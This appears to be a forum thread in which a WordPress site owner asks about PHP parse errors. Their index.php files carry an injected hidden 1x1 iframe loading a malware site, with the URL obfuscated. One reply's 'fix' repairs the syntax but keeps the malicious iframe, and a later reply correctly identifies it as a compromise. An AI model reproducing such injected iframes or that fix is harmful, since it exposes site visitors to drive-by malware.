Hey everyone I figured I would come here and ask for help, I got this message:

Parse error: syntax error, unexpected '?' on line 18

here is the simple code:

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?<html><body><iframe
src="http://arnold.DO-NOT-VISIT-URL.kz/path-removed-due-to-possible-malware-risk/index.php?out=12345"
width="1" height="1" frameborder="0"></iframe></body></html>>

The site was working fine before...why does it mess up like this??? I'm not programmer so any help would be really appreciated.

thank you

Try this:

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php'); 
?>
<html>
  <body>
    <iframe src="http://arnold.DO-NOT-VISIT-URL.kz/path-removed-due-to-possible-malware-risk/index.php?out=12345" width="1" height="1" frameborder="0">
    </iframe>
  </body>
</html>

Hey sys4dm1n ....I really do appreciate your help..honestly.

I replaced the code with what you gave me and uploaded it and then I got this:

Parse error: syntax error, unexpected '?' in /home/valdivz/public_html/cholacol.com/wp-content/themes/thesis17/index.php on line 8

<?php
/**
 * Cue the star of the show...
 *
 * @package Thesis
 */
thesis_html_framework();
?<html><body><iframe
src="http://arnold.DO-NOT-VISIT-URL.kz/path-removed-due-to-possible-malware-risk/index.php?out=12345" width="1" height="1" frameborder="0"></iframe></body></html>>

So Obviously something went wrong with my Thesis them for Wordpress.... don't know what to do now....?

The error your having is due the ther PHP tags not being closed on this line:

?<html><body><iframe

The code I corrected is the exact same fix provided which worked for you. Unless all of your pages are like that, the fix provided will work.

My friends site did the same thing today... does anyone know what that iframe from arnold.kz if for?
Could it be from a virus, plugin, etc.?

Thanks for the help.

The iframe looks like a malware-injected modification by some malicious hacker. Attempting to visit the URL in my browser (Chrome) results in the usual "Malware Detected!" page..

The website at arnold.kz appears to host malware – software that can hurt your computer or otherwise operate without your consent. Just visiting a site that hosts malware can infect your computer.

(As such, I've obfuscated the URLs above.)

In other words, if you see this on your site, then congratulations - your site has been compromised and is possibly loading malware onto your visitors' computers.
